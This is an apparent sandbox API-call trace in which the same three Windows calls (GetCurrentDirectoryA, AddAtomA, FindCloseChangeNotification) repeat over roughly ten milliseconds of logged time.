GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.520] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.520] AddAtomA (lpString=0x0) returned 0x0 [0052.520] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.521] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.521] AddAtomA (lpString=0x0) returned 0x0 [0052.521] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.522] AddAtomA (lpString=0x0) returned 0x0 [0052.522] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.522] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.523] AddAtomA (lpString=0x0) returned 0x0 [0052.523] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.523] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.524] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.524] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.524] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.525] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.525] AddAtomA (lpString=0x0) returned 0x0 [0052.525] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.526] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.526] AddAtomA (lpString=0x0) returned 0x0 [0052.526] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.527] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.527] AddAtomA (lpString=0x0) returned 0x0 [0052.527] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.528] AddAtomA (lpString=0x0) returned 0x0 [0052.528] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.528] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 